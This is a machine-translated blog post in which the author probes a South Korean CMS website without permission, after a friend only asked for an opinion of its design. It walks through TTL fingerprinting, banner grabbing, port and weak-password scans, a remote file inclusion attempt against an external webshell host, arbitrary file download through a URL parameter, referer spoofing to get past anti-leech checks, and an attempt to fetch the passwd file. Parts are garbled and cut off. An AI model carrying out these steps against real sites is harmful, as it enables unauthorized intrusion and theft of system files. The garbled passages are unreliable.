A security check for a CMS in South Korea

One day, a web design friend sent me a website (www. ba *******. net) and asked me how I felt? Isn't the website well designed? I clearly know that I am not very good at art, especially in aesthetic design, but I am still sending it, but now I have to go and see it. After opening the website, I feel quite concise, 1, let's see how secure it is.

 

Figure 1 CMS page of a South Korean website

I. Server Information Collection

1. obtain IP information

Open the DOS prompt operation window and run the ping command to access the website www. B *******.. net ping. As shown in figure 2, the obtained IP address is "221. ***. **. there is no packet loss, and the delay time is relatively small. Haha, it feels like South Korea's computer is refreshing, fast, and high hardware configuration.

 

Figure 2 obtain the website IP Address

Security knowledge

(1) TTL terminology

TTL is the abbreviation of Time to Live. It is a value in the IP protocol package. It tells the network router package whether the Time in the network is too long and should be discarded. There are many reasons that the package cannot be delivered to the destination within a certain period of time. For example, an incorrect route table may cause an infinite loop of packets. One solution is to discard the packet after a period of time and then send a message to the sender, which determines whether to resend the packet. The initial value of TTL is usually the default value of the system, which is the 8-bit domain in the header. The original assumption of TTL is to determine a time range and discard the package after this time. Since each vro must at least reduce the TTL value by one, TTL usually indicates the maximum number of vrouters that can pass the packet before it is discarded. When the Count reaches 0, the router decides to discard the packet and send an ICMP packet to the original sender.

TTL indicates the number of CIDR blocks that can be passed before the datagram is discarded by the router. It is usually set by the sending host to prevent data packets from continuously repeating over the IP network. When forwarding IP data packets, the router must at least reduce TTL by 1.

ICMP packet types involved in PING

An ICMP Echo Request)

ICMP Echo Reply)

(2) TTL value

The TTL field value helps us identify the operating system type. Below are some common system TTL values:

(1) The TTL value of the ICMP echo response in UNIX and UNIX-like operating systems is 255;

(2) The TTL field value of the Compaq Tru64 5.0 ICMP echo response is 64;

(3) The TTL value of the ICMP echo response in Microsoft Windows NT4 WRKS, Windows NT4 Server, Windows 2000, and Windows XP operating systems is 128;

(4) The TTL field value of the ICMP echo response in the Windows 95, Windows 98, Windows 98SE, and Windows ME operating systems is 32;

(5) In some special cases, the TTL value may be different:

The TTL field value of LINUX Kernel 2.2.x & 2.4.x ICMP echo response is 64.

FreeBSD 4.1, 4.0, 3.4; Sun Solaris 2.5.1, 2.6, 2.7, 2.8; OpenBSD 2.6, 2.7; NetBSD; hp ux 10.20 and so on; the TTL field for ICMP echo response is 255;

From the returned TTL value, it can be preliminarily determined that the target host is a linux system.

Protection skills

In general, you can use "ping host address" or "ping website domain name address" to obtain the TTL value, and use the TTL value to determine the operating system type of the host where the website is located. Some systems with strict protection will customize the TTL value, so that intruders cannot obtain the type of the operating system through the TTL value. Registry location of TTL value
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ Tcpip \ Parameters contains a DefaultTTL DWORD Value, whose data is the default TTL value. We can modify it, but it cannot be greater than 255 of the decimal value. For example, the TTL value of my computer is 127,3. You cannot know the common TTL value!

 

Figure 3 custom TTL value

Note:

After you modify the TTL value, you need to restart the computer to make the modification take effect. The TTL values may be modified differently in different computer operating systems. Generally, you need to go to the Registry.
Modify the value of DefaultTTL under "HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet001 \ Services \ Tcpip \ Parameters, if it is in "HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ Tcpip \ Parameters", you need to create a "DefaultTTL" key with the type of DWORD.

2. Get Server Architecture Information

You can enter "http: // 221" in your browser. 139. ***. 21/antian365/", where" antian365 "is a non-existent directory, and server architecture information is determined from the returned error information, as shown in Figure 4. The system uses apache1.3.36, because the small site uses a free Mysql database, it can be confirmed that it is a typical LAMP architecture.

 

Figure 4 obtain Server Architecture Information

Note:

(1) http: // 221. 139. ***. 21/antian365/

If you enter a friendly HTTP Error message in IE browser, you must remove it. For details, select IE Browser> Tools> Internet; in the advanced option box, select "show friendly HTTP Error information" to display detailed error information.

 

LAMP Architecture Network Knowledge

LAMP is a Web network application and development environment. It is basically a combination of four Open Source Software Technologies, which together generate a powerful application service platform, it is relatively simple and easy to use.

LAMP is an open-source network development platform based on Linux, Apache, MySQL, and PHP. The term LAMP comes from Europe. The name of LAMP is taken from the first letter of each program, some people think that LAMP is a Web network application and development environment. It is short for Linux, Apache, MySQL, Php/Perl. Every letter represents a component. In fact, the term LAMP first came from the German Magazine "C' Magazine". In 1990, Michael Kunze first combined these projects to create the abbreviation of LAMP.

These components are not designed to be used together at the beginning. Since they are open-source and free, as more and more people use them, their compatibility is constantly improved and improved, therefore, it has gradually become an architecture for Web application development. In this architecture, each program complies with the open source code standards in its ownership: Linux is an open system, and Apache is the most common network server; mySQL is a relational database with a network management attached tool; PHP is a popular Object scripting language, which contains the excellent features of most other languages to make its network development more effective.

Sometimes, in a Windows operating system, developers use the tools in these Linux environments as WAMP, or WAMP architecture. With the rapid development of open source, open source code LAMP has been integrated with J2EE and. net commercial software has formed a three-pronged trend, and the software development project has a low investment cost in software, so it has received the attention of the entire IT industry. For more information about LAMP, see LAMP architecture posts http://www.antian365.com/bbs/viewthread. php? Tid = 2639 & extra = page % 3D1 & frombbs = 1

3. Detect port information

Use sfind to scan the server and find that only port and port 80 are enabled, as shown in Figure 5. The 3306Mysql database port can also be used for detection.

 

Figure 5 port information

Then, the HScan software is used to scan the Mysql database and FTP weak passwords. No result is returned. It seems that we have to start with web programs.

 

Ii. Web Application Security Detection

1. Injection Test

No injection points were found using injection tools such as D and NBSI. At the same time, I did not find it by hand. simeon said that my injection was weak. It seems that it is not false.

2. Search for upload points

Http://www. B **. net/ez/bbs. php? Table = qna & query = write found that posts can be posted, but there is no file upload place.

3. Bypass Detection

Open hosts.

Note:

Http://www.myipneighbors.com/is an IP address or domain name to get the IP address or the domain name of the server in the presence of other website addresses. It can query more accurate data than mingkids' DOMAIN.

4. Vulnerability Detection

No way, or take a closer look at www. B *** k.net, when browsing to the http://www. B *** k.net/ez/inc.php? Inc = company/sub1_1. Is there a vulnerability? So the test http://www. B *** k.net/ez/inc.php? Inc = http: // 116.23.82.87: 81/WebShell. An error occurs, as shown in figure 6.

 

Figure 6 remote inclusion

Although the remote inclusion vulnerability is not found, the absolute path of the website can be exposed:/home/ba *****. net/public_html/ez /.

Note:

(1) the cause of the vulnerability is that the programmer does not filter incoming changes when using the involved dangerous functions include, require, include_once, and require_once.

(2) fix the absolute path of the exposed website. Because the include or require file cannot be found, an error is displayed. It is also easy to block the error display. You only need to add "@" to include or require.

6. Arbitrary File Download Vulnerability Detection

Manually detect the Arbitrary File Download Vulnerability. Currently, the vulnerability in downloading arbitrary files is detected manually. Browse to http://www. B *** k.net/ez/bbs.php? Table = sub1 & query = view & uid = 133 & p = 1

You can click Download image, as shown in figure 7.

 

 

Figure 7 download an image

You can modify the URL address to download other files on the site, through observation, URL address http://www. B *** k.net/ez/bbs.php? Table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012226_4-1.jpg. The file parameter uses the file name directly. You may download other files, so enter:

Http://www. B *** k.net/ez/bbs.php? Table = sub1 & action = down & where =
Dat&dtype=up&uid=133&file=20080706012241_4.jpg(20080706012241_4.jpg is another image) returns a blank area. Check the source code and find that there are all unknown texts, as shown in 8. You cannot download other image files.

 

 

Figure 8 cannot be downloaded

I don't know what it means. Is the uid parameter restricted? Or something else. Then re-enter:

Http://www. B *** k.net/ez/bbs.php? Table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012226_4-1.jpg. I found that there is still a blank space. Why can't I download it if I click here? Oh. This is not the same as anti-leech protection, which is used by many download sites.

Note:

Anti-leech protection. That is, when downloading, check whether the referrer parameter is from the page on this site. If not, you cannot download it.

7. Break through anti-leech Protection

There are many methods to break through anti-leech protection. You can use asp, PHP, vbs, or use the changed package NC to submit. Here we will introduce a simple method to break through with the Firefox custom referer plug-in. First, we should first capture the package to see what the referrer parameter value is during download.

(1) Use the LiveHTTPHeaders plug-in to obtain the referrer parameter value

First Install a firfox package capture plug-in LiveHTTPHeaders (http://livehttpheaders.mozdev.org/installation.html), open the address, and then click the webpage link "Install version 0.14 of LiveHTTPHeaders now", Firefox will prompt for the installation of the software, 9, click Install now.

 

 

Figure 9 install the LiveHTTPHeaders component

Note:

Because the components have version requirements for Firefox, some components cannot be installed. Generally, you can install them if a warning message is prompted.
LiveHTTPHeaders can capture http and https data links, including get and post, a good plug-in. After installing the plug-in, restart FireFox, open the download page, run LiveHTTPHeaders to capture packets (tool-> Live HTTP Headers), and then click Download. In a short time, the package will be ready. Check it out, the referrer parameter value is http://www. B *** k.net/ez/bbs.php? Table = sub1 & query = view & uid = 133 & p =, and obtain the referrer parameter value.

 

Figure 10 obtain the referrer parameter value

(2) Use the RefControl plug-in to construct the referrer Value

Next to the slave? Table = sub1 & query = view & uid = 133 & p =, 11, and click "OK" for the setting to take effect. The referrer value has been constructed here.

 

 

Figure 11 using RefControl to construct referrer parameter values

Tips

You can search for and add components directly by adding components to Firefox. In Firefox, click "Tools"-"additional components", click "get additional components" in the pop-up additional components, and enter the name of the component to be added in the search input box, click the search button to find the Firefox additional component. If yes, click "view all results" and follow the prompts to install it.

(3) download the passwd file

In the Firefox address bar, enter:

Http://www. B *** k.net/ez/bbs.php? Token file. Try again.